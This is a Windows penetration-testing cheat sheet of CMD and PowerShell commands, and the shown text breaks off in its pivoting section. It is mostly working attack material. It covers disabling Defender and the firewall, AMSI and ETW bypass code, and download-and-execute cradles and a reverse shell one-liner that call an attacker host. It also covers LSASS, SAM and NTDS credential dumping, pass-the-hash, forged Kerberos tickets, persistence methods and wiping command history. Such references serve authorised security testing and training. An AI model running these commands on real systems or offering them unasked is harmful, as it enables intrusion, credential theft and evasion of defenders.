Windows CMD & PowerShell

#Pentesting #PowerShell #CommandLine #CMD

Windows Penetration Testing Cheat Sheet

1. CMD.exe & PowerShell Pentest Basics

System Enumeration

Network Enumeration

:: Active connections
netstat -ano

:: Routing table
route print

:: ARP cache
arp -a

:: DNS cache
ipconfig /displaydns

:: Network shares (local)
net share

:: Network shares (remote)
net view \\<target>

:: Domain computers
net view /domain

:: Current sessions
net session

# Active TCP connections with process
Get-NetTCPConnection | Select LocalAddress,LocalPort,RemoteAddress,RemotePort,State,OwningProcess

# SMB shares on remote host
Get-SmbShare -CimSession <target>

# Port scan (single port)
Test-NetConnection -ComputerName <target> -Port 445

# Quick port sweep
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<target>",$_)) "Port $_ open"} 2>$null

Process & Service Enumeration

:: Running processes
tasklist /v
wmic process list full

:: Services
sc query
wmic service get name,displayname,pathname,startmode

:: Unquoted service paths
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Processes with path
Get-Process | Select Name,Id,Path

# Services with binary paths
Get-WmiObject win32_service | Select Name,PathName,StartMode,State

# Find unquoted service paths
Get-WmiObject win32_service | Where {$_.PathName -notlike "C:\Windows\*" -and $_.PathName -notlike '"*'} | Select Name,PathName

Firewall & Defender Manipulation

:: Firewall status
netsh advfirewall show allprofiles

:: Disable firewall (requires admin)
netsh advfirewall set allprofiles state off

:: Add firewall rule
netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=tcp localport=4444

:: Defender status
sc query windefend

:: Disable real-time monitoring (requires admin)
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

:: Add exclusion path
powershell -c "Add-MpPreference -ExclusionPath 'C:\Tools'"

# Defender status
Get-MpComputerStatus

# Disable real-time protection
Set-MpPreference -DisableRealtimeMonitoring $true

# Add exclusions
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionProcess "payload.exe"
Add-MpPreference -ExclusionExtension ".ps1"

# List exclusions
Get-MpPreference | Select Exclusion*

# Disable AMSI (current session)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

File Transfer Techniques

:: Certutil download
certutil -urlcache -split -f http://<attacker>/file.exe C:\Temp\file.exe

:: Certutil base64 decode
certutil -decode encoded.txt decoded.exe

:: Bitsadmin download
bitsadmin /transfer job /download /priority high http://<attacker>/file.exe C:\Temp\file.exe

:: PowerShell via CMD
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<attacker>/file.exe','C:\Temp\file.exe')"

:: Curl (Windows 10+)
curl http://<attacker>/file.exe -o C:\Temp\file.exe

# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker>/file.exe" -OutFile "C:\Temp\file.exe"
iwr "http://<attacker>/file.exe" -o "C:\Temp\file.exe"

# WebClient
(New-Object Net.WebClient).DownloadFile("http://<attacker>/file.exe","C:\Temp\file.exe")

# Download and execute in memory (fileless)
IEX (New-Object Net.WebClient).DownloadString("http://<attacker>/script.ps1")
IEX (iwr "http://<attacker>/script.ps1" -UseBasicParsing).Content

# SMB copy
copy \\<attacker>\share\file.exe C:\Temp\file.exe

# Base64 encode/decode
$content = Get-Content -Path "file.exe" -Encoding Byte
[Convert]::ToBase64String($content) | Out-File encoded.txt

[IO.File]::WriteAllBytes("decoded.exe", [Convert]::FromBase64String((Get-Content encoded.txt)))

2. Sensitive File Locations

PowerShell & CMD History Locations

PowerShell History

# Read current user's PowerShell history
Get-Content (Get-PSReadLineOption).HistorySavePath

# Read all users' history (requires admin)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ }

# Search history for sensitive strings
Select-String -Path (Get-PSReadLineOption).HistorySavePath -Pattern "password|credential|secret|key"

:: CMD access to PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

:: All users
for /f "tokens=*" %a in ('dir /b C:\Users') do @type "C:\Users\%a\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul

CMD History

CMD does not persist history to disk by default. History exists only in memory during the session.

:: View current session history
doskey /history

:: Save current session to file
doskey /history > C:\Temp\cmd_history.txt

PowerShell Transcript Logs

# Check if transcription is enabled
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -ErrorAction SilentlyContinue

# Find transcript files
Get-ChildItem -Path C:\ -Recurse -Include "*transcript*" -ErrorAction SilentlyContinue

# Common locations
Get-ChildItem -Path "C:\Transcripts" -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path "$env:USERPROFILE\Documents" -Filter "*transcript*" -ErrorAction SilentlyContinue

PowerShell Event Logs

# Query PowerShell script block logs (Event ID 4104)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -FilterXPath '*[System[EventID=4104]]' -MaxEvents 50 | Format-List Message

# Export PowerShell logs
wevtutil qe "Microsoft-Windows-PowerShell/Operational" /f:text > ps_logs.txt

Cleanup Commands

# Clear PowerShell history
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force

# Clear current session history
Clear-History

# Disable history for current session
Set-PSReadLineOption -HistorySaveStyle SaveNothing

:: Clear CMD session history
doskey /reinstall

Windows Credentials & Hives

Unattended Installation Files

Web Application Configs

Common Credential Locations

Group Policy Preferences

# Search for GPP passwords in SYSVOL
Get-ChildItem -Path "\\$env:USERDNSDOMAIN\SYSVOL" -Recurse -Include *.xml -ErrorAction SilentlyContinue | Select-String -Pattern "cpassword"

Quick File Search Commands

:: Find files containing "password"
findstr /si password *.txt *.ini *.config *.xml

:: Find specific files recursively
dir /s /b C:\*unattend*.xml C:\*sysprep*.xml C:\*web.config 2>nul

# Search for password in files
Get-ChildItem -Path C:\ -Recurse -Include *.txt,*.ini,*.config,*.xml -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List

# Find interesting files
Get-ChildItem -Path C:\ -Recurse -Include *pass*,*cred*,*vnc*,*.config -ErrorAction SilentlyContinue

3. Impersonation & Lateral Movement (Cleartext Credentials)

CMD - runas

:: Interactive login as another user (spawns new cmd)
runas /user:<domain>\<username> cmd.exe

:: Run specific command
runas /user:<domain>\<username> "powershell.exe -ep bypass"

:: Network-only impersonation (no local profile, creds used for network resources only)
runas /netonly /user:<domain>\<username> cmd.exe

:: Useful for accessing remote shares/services without touching local system
runas /netonly /user:CORP\admin "mmc.exe"

PowerShell - PSCredential Object

# Create credential object
$user = "<domain>\<username>"
$pass = ConvertTo-SecureString "<password>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $pass)

# Alternative: Prompt for credentials
$cred = Get-Credential

PowerShell - Remote Execution with Invoke-Command

# Single command on remote host
Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock {whoami; hostname}

# Execute local script on remote host
Invoke-Command -ComputerName <target> -Credential $cred -FilePath C:\Scripts\payload.ps1

# Multiple targets
Invoke-Command -ComputerName server1,server2,server3 -Credential $cred -ScriptBlock {Get-Process}

# With session for persistence
$session = New-PSSession -ComputerName <target> -Credential $cred
Invoke-Command -Session $session -ScriptBlock {whoami}
Remove-PSSession $session

PowerShell - Interactive Session with Enter-PSSession

# Interactive PowerShell session
Enter-PSSession -ComputerName <target> -Credential $cred

# When inside remote session
[<target>]: PS C:\> whoami
[<target>]: PS C:\> exit

# Using SSL (if configured)
Enter-PSSession -ComputerName <target> -Credential $cred -UseSSL

PowerShell - Start-Process as Different User

# Start process as another user (local)
Start-Process -FilePath "cmd.exe" -Credential $cred

# Start process with arguments
Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -File C:\script.ps1" -Credential $cred

# Start hidden process
Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -c IEX(...)" -Credential $cred -WindowStyle Hidden

WMI Remote Execution

# Execute command via WMI
Invoke-WmiMethod -ComputerName <target> -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\output.txt"

# Using CIM (modern)
Invoke-CimMethod -ComputerName <target> -Credential $cred -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell.exe -ep bypass -c IEX(...)"}

PsExec-style Execution

:: Sysinternals PsExec
psexec.exe \\<target> -u <domain>\<username> -p <password> cmd.exe

:: Interactive session
psexec.exe \\<target> -u <domain>\<username> -p <password> -i cmd.exe

:: Run as SYSTEM
psexec.exe \\<target> -u <domain>\<username> -p <password> -s cmd.exe

4. Pass-the-Hash (PtH) Techniques

Technical Overview

Native Windows commands do not accept NTLM hashes directly. PtH requires injecting the hash into memory (LSASS) or using tools that implement the NTLM authentication protocol directly. The hash replaces the password in the NTLM challenge-response flow.

NTLM Hash Format: LMHash:NTHash or aad3b435b51404eeaad3b435b51404ee:NTHashHere (empty LM)

Mimikatz - sekurlsa::pth

:: Pass-the-Hash - spawns new process with injected credentials
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<NTHash> /run:cmd.exe" "exit"

:: Example
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:CORP /ntlm:a87f3a337d73085c45f9416be5787d86 /run:powershell.exe" "exit"

:: With AES256 key (more stealthy, Kerberos)
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:CORP /aes256:<aes256key> /run:cmd.exe" "exit"

Impacket Tools (via CMD/PowerShell)

# PsExec with hash
impacket-psexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash>
impacket-psexec CORP/Administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86

# WMIExec with hash
impacket-wmiexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash>

# SMBExec with hash
impacket-smbexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash>

# Atexec with hash (scheduled task)
impacket-atexec <domain>/<username>@<target> -hashes <LMHash>:<NTHash> "whoami"

# SecretsDump - extract hashes
impacket-secretsdump <domain>/<username>@<target> -hashes <LMHash>:<NTHash>

CrackMapExec / NetExec

# Command execution with hash
crackmapexec smb <target> -u <username> -H <NTHash> -x "whoami"

# PowerShell execution
crackmapexec smb <target> -u <username> -H <NTHash> -X "Get-Process"

# Dump SAM
crackmapexec smb <target> -u <username> -H <NTHash> --sam

# Dump LSA
crackmapexec smb <target> -u <username> -H <NTHash> --lsa

# NetExec (modern fork)
nxc smb <target> -u <username> -H <NTHash> -x "whoami"

Invoke-TheHash (PowerShell)

# Import module
Import-Module .\Invoke-TheHash.psd1

# WMI execution
Invoke-WMIExec -Target <target> -Domain <domain> -Username <username> -Hash <NTHash> -Command "cmd.exe /c whoami > C:\output.txt"

# SMB execution
Invoke-SMBExec -Target <target> -Domain <domain> -Username <username> -Hash <NTHash> -Command "powershell -ep bypass -c IEX(...)"

# SMB client for file operations
Invoke-SMBClient -Target <target> -Domain <domain> -Username <username> -Hash <NTHash> -Action Get -Source "C$\Windows\System32\config\SAM"

Evil-WinRM

# PtH with Evil-WinRM
evil-winrm -i <target> -u <username> -H <NTHash>

# With SSL
evil-winrm -i <target> -u <username> -H <NTHash> -S

xfreerdp (RDP with Hash - Restricted Admin Mode Required)

# RDP Pass-the-Hash (target must have Restricted Admin enabled)
xfreerdp /v:<target> /u:<username> /pth:<NTHash> /d:<domain>

# Enable Restricted Admin on target (requires prior access)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

Overpass-the-Hash (Request Kerberos TGT with Hash)

:: Mimikatz - Request TGT using hash, then use Kerberos
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<NTHash> /run:powershell.exe" "exit"

:: In spawned shell, Kerberos ticket is obtained automatically on network access
:: Verify with:
klist

# Rubeus - Overpass-the-Hash
.\Rubeus.exe asktgt /user:<username> /domain:<domain> /rc4:<NTHash> /ptt

# With AES256 (opsec-safer)
.\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes256key> /ptt

# Verify ticket
klist

5. Kerberos Attacks

Kerberoasting

# PowerShell - Request TGS for SPNs (no tools)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql.corp.local:1433"

# Extract tickets from memory
Get-ChildItem C:\Users\*\AppData\Local\Temp\*.kirbi

# PowerView - Find Kerberoastable accounts
Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

:: Rubeus - Kerberoast all SPNs
Rubeus.exe kerberoast /outfile:hashes.txt

:: Kerberoast specific user
Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt

:: With AES (opsec-safer, RC4 is default)
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Impacket - Remote Kerberoasting
impacket-GetUserSPNs <domain>/<username>:<password> -dc-ip <dc-ip> -request -outputfile hashes.txt

# With hash
impacket-GetUserSPNs <domain>/<username> -hashes <LMHash>:<NTHash> -dc-ip <dc-ip> -request

AS-REP Roasting

# PowerView - Find AS-REP Roastable users (DONT_REQ_PREAUTH)
Get-DomainUser -PreauthNotRequired | Select SamAccountName

:: Rubeus - AS-REP Roast
Rubeus.exe asreproast /outfile:hashes.txt

:: Specific user
Rubeus.exe asreproast /user:svc_backup /outfile:hash.txt

# Impacket - Remote AS-REP Roasting
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <dc-ip> -outputfile hashes.txt

# Authenticated
impacket-GetNPUsers <domain>/<username>:<password> -dc-ip <dc-ip> -request

Golden Ticket

:: Mimikatz - Create Golden Ticket (requires krbtgt hash)
mimikatz.exe "kerberos::golden /user:Administrator /domain:<domain> /sid:<domain-SID> /krbtgt:<krbtgt-NTHash> /ptt" "exit"

:: With specific groups (Domain Admins, Enterprise Admins, Schema Admins)
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:corp.local /sid:S-1-5-21-... /krbtgt:<hash> /groups:512,518,519 /ptt" "exit"

:: Export to file instead of inject
mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:<hash> /ticket:golden.kirbi" "exit"

# Impacket - Golden Ticket
impacket-ticketer -nthash <krbtgt-hash> -domain-sid <domain-SID> -domain <domain> Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec <domain>/Administrator@<target> -k -no-pass

Silver Ticket

:: Mimikatz - Create Silver Ticket (requires service account hash)
:: CIFS service (file shares)
mimikatz.exe "kerberos::golden /user:Administrator /domain:<domain> /sid:<domain-SID> /target:<target-fqdn> /service:cifs /rc4:<service-account-hash> /ptt" "exit"

:: HTTP service
mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:web.corp.local /service:http /rc4:<hash> /ptt" "exit"

:: MSSQL service
mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:sql.corp.local /service:MSSQLSvc /rc4:<hash> /ptt" "exit"

Ticket Management

:: List current tickets
klist

:: Purge all tickets
klist purge

:: Mimikatz - Export tickets
mimikatz.exe "sekurlsa::tickets /export" "exit"

:: Mimikatz - Import ticket
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"

:: Rubeus - Import ticket
Rubeus.exe ptt /ticket:ticket.kirbi

:: Rubeus - Dump tickets
Rubeus.exe dump
Rubeus.exe triage

6. Credential Dumping

LSASS Dumping

:: Task Manager (manual): Right-click lsass.exe > Create dump file

:: ProcDump (Sysinternals)
procdump.exe -ma lsass.exe lsass.dmp

:: Mimikatz - Direct dump
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

:: Mimikatz - From dump file
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

:: comsvcs.dll (native LOLBin)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass-PID> C:\Temp\lsass.dmp full

# Get LSASS PID
Get-Process lsass | Select Id

# Out-Minidump (PowerSploit)
Get-Process lsass | Out-Minidump

# Using comsvcs.dll
$lsass = Get-Process lsass
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\Temp\lsass.dmp full

SAM/SYSTEM/SECURITY Extraction

:: Save hives (requires admin)
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY

:: Copy from Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# Impacket - Extract hashes from hives
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

# Remote extraction
impacket-secretsdump <domain>/<username>:<password>@<target>
impacket-secretsdump <domain>/<username>@<target> -hashes <LMHash>:<NTHash>

NTDS.dit Extraction (Domain Controller)

:: Using ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ntds" quit quit

:: Using vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

:: Mimikatz DCSync (no need for file access)
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:Administrator" "exit"
mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"

# Impacket - Remote DCSync
impacket-secretsdump <domain>/<username>:<password>@<dc-ip> -just-dc

# Extract NTDS.dit locally
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -outputfile hashes

Cached Credentials

:: Mimikatz - Cached domain credentials (DCC2/mscash2)
mimikatz.exe "lsadump::cache" "exit"

:: From SECURITY hive
mimikatz.exe "lsadump::secrets" "exit"

Windows Credential Manager

:: List stored credentials
cmdkey /list

:: Mimikatz - Dump vault credentials
mimikatz.exe "vault::cred /patch" "exit"

:: PowerShell
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword(); $_ }

7. Privilege Escalation Enumeration

Automated Enumeration

:: WinPEAS
winpeasany.exe quiet

:: Seatbelt
Seatbelt.exe -group=all

:: PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

:: SharpUp
SharpUp.exe audit

Token Privileges

:: Check current privileges
whoami /priv

Potato Attacks (SeImpersonatePrivilege)

:: PrintSpoofer (Windows 10/Server 2016+)
PrintSpoofer.exe -i -c cmd.exe

:: GodPotato (universal)
GodPotato.exe -cmd "cmd /c whoami"

:: JuicyPotato (older systems)
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}

:: SweetPotato
SweetPotato.exe -p cmd.exe -a "/c whoami"

Service Exploitation

:: Unquoted service path exploitation
:: 1. Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: 2. Check write permissions to path
icacls "C:\Program Files\Vulnerable Service"

:: 3. Drop binary and restart service
copy payload.exe "C:\Program Files\Vulnerable.exe"
sc stop "Vulnerable Service"
sc start "Vulnerable Service"

:: Weak service permissions
:: 1. Check service permissions
sc sdshow <service>
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

:: 2. Modify service binary path
sc config <service> binpath= "C:\Temp\payload.exe"
sc stop <service>
sc start <service>

AlwaysInstallElevated

:: Check if enabled
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: Exploit with MSI payload
msiexec /quiet /qn /i malicious.msi

Scheduled Tasks

# Find writable scheduled task binaries
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $actions = $task.Actions
    foreach ($action in $actions) {
        if ($action.Execute) {
            $path = $action.Execute
            if (Test-Path $path) {
                $acl = Get-Acl $path
                [PSCustomObject]@{
                    TaskName = $task.TaskName
                    Path = $path
                    Owner = $acl.Owner
                }
            }
        }
    }
}

8. Active Directory Enumeration

PowerView Commands

# Import PowerView
Import-Module .\PowerView.ps1
. .\PowerView.ps1

# Domain info
Get-Domain
Get-DomainController

# Users
Get-DomainUser | Select SamAccountName,Description
Get-DomainUser -AdminCount | Select SamAccountName
Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

# Groups
Get-DomainGroup | Select SamAccountName
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Computers
Get-DomainComputer | Select DnsHostName,OperatingSystem
Get-DomainComputer -Unconstrained | Select DnsHostName

# GPOs
Get-DomainGPO | Select DisplayName,GPCFileSysPath

# ACLs
Find-InterestingDomainAcl -ResolveGUIDs

# Shares
Find-DomainShare -CheckShareAccess

# Sessions
Get-NetSession -ComputerName <target>
Get-NetLoggedOn -ComputerName <target>

# Trust relationships
Get-DomainTrust
Get-ForestTrust

BloodHound Collection

:: SharpHound - Collector
SharpHound.exe -c All
SharpHound.exe -c All,GPOLocalGroup --zipfilename bloodhound.zip

:: Stealth collection
SharpHound.exe -c DCOnly --stealth

# PowerShell collector
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp

LDAP Queries (Native PowerShell)

# All domain users
$searcher = [adsisearcher]"(&(objectClass=user)(objectCategory=person))"
$searcher.FindAll() | % { $_.Properties.samaccountname }

# Domain Admins members
$searcher = [adsisearcher]"(&(objectClass=group)(cn=Domain Admins))"
$searcher.FindOne().Properties.member

# Computers with unconstrained delegation
$searcher = [adsisearcher]"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$searcher.FindAll() | % { $_.Properties.dnshostname }

# Users with SPN set (Kerberoastable)
$searcher = [adsisearcher]"(&(objectClass=user)(servicePrincipalName=*))"
$searcher.FindAll() | % { $_.Properties.samaccountname }

# Users with PreAuth disabled (AS-REP Roastable)
$searcher = [adsisearcher]"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$searcher.FindAll() | % { $_.Properties.samaccountname }

9. Persistence Mechanisms

Registry Run Keys

:: Current user persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Temp\payload.exe" /f

:: All users persistence (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Temp\payload.exe" /f

:: RunOnce (executes once then deletes)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Updater /t REG_SZ /d "C:\Temp\payload.exe" /f

Scheduled Tasks

:: Create scheduled task
schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" /sc onlogon /ru SYSTEM

:: At startup
schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" /sc onstart /ru SYSTEM

:: Every hour
schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" /sc hourly /ru SYSTEM

:: Query tasks
schtasks /query /tn "Updater" /v /fo list

$action = New-ScheduledTaskAction -Execute "C:\Temp\payload.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -Principal $principal

Services

:: Create malicious service
sc create "Updater" binpath= "C:\Temp\payload.exe" start= auto
sc start "Updater"

:: Modify existing service (if writable)
sc config "VulnService" binpath= "C:\Temp\payload.exe"

WMI Event Subscriptions

# Create WMI persistence (survives reboots)
$filterName = "Updater"
$consumerName = "Updater"
$payload = "C:\Temp\payload.exe"

$wmiParams = @{
    Namespace = "root\subscription"
    ErrorAction = "Stop"
}

$filter = Set-WmiInstance @wmiParams -Class __EventFilter -Arguments @{
    Name = $filterName
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$consumer = Set-WmiInstance @wmiParams -Class CommandLineEventConsumer -Arguments @{
    Name = $consumerName
    CommandLineTemplate = $payload
}

Set-WmiInstance @wmiParams -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

Startup Folder

:: Current user
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"

:: All users (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"

DLL Hijacking

:: Common hijackable DLLs in PATH
:: Check for missing DLLs with Process Monitor

:: Write DLL to writable PATH directory
copy malicious.dll "C:\Python27\dll_name.dll"

:: Phantom DLL hijacking (non-existent DLLs)
:: Common targets: wlbsctrl.dll, wbemcomn.dll, etc.

10. AMSI & ETW Bypasses

AMSI Bypasses

# Reflection method
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Matt Graeber's bypass
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

# Patching AmsiScanBuffer (requires memory write)
$a=[Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

:: Base64 encoded bypass execution
powershell -ep bypass -e <base64-encoded-bypass>

:: Downgrade to PowerShell 2.0 (no AMSI)
powershell -version 2 -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"

ETW Bypass

# Patch EtwEventWrite
$patch = [Byte[]](0xc3)  # ret instruction
$ntdll = [Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods').GetType('Microsoft.Win32.UnsafeNativeMethods')
$etwAddr = $ntdll.GetMethod('GetProcAddress', [Reflection.BindingFlags]'NonPublic,Static', $null, [Type[]]@([IntPtr], [String]), $null).Invoke($null, @([Runtime.InteropServices.Marshal]::GetHINSTANCE([ntdll].Module), 'EtwEventWrite'))

$oldProtect = 0
$ntdll::VirtualProtect($etwAddr, [UInt32]$patch.Length, 0x40, [Ref]$oldProtect)
[Runtime.InteropServices.Marshal]::Copy($patch, 0, $etwAddr, $patch.Length)

11. Useful One-Liners

Quick Wins

# Find passwords in files
Get-ChildItem -Path C:\ -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern "password|pwd|passwd" -List

# Find files modified in last 24 hours
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-1)}

# List installed software
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName,DisplayVersion

# Check for stored WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear

# List all listening ports with process
Get-NetTCPConnection -State Listen | Select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).Name}}

# Find writable directories in PATH
$env:PATH.Split(';') | ForEach-Object { if (Test-Path $_) { $acl = Get-Acl $_; if ($acl.AccessToString -match "Everyone|Users|Authenticated Users") { $_ } } }

# Quick domain enumeration
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Check for Defender exclusions
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

Reverse Shell One-Liners

# PowerShell reverse shell
$c=New-Object Net.Sockets.TCPClient('<attacker>',<port>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()

# Encoded execution
powershell -ep bypass -e <base64-encoded-payload>

# Download cradle
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/shell.ps1')"

12. Pivoting & Port Forwarding

Native Windows Port Forwarding (netsh)

:: Add port forward (requires admin)
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.1.10

:: List all port forwards
netsh interface portproxy show all

:: Remove port forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

:: Reset all port forwards
netsh interface portproxy reset

SSH Tunneling (Windows 10+)

:: Local port forward (access remote:3389 via localhost:13389)
ssh -L 13389:192.168.1.10:3389 user@jumphost

:: Remote port forward (expose local:445 on remote:8445)
ssh -R 8445:127.0.0.1:445 user@attacker-server

:: Dynamic SOCKS proxy
ssh -D 9050 user@jumphost

:: Background tunnel
ssh -f -N -L 13389:192.168.1.10:3389 user@jumphost

Chisel

:: Attacker (server)
chisel server -p 8080 --reverse

:: Victim - Reverse SOCKS proxy
chisel client <attacker>:8080 R:socks

:: Victim - Forward specific port
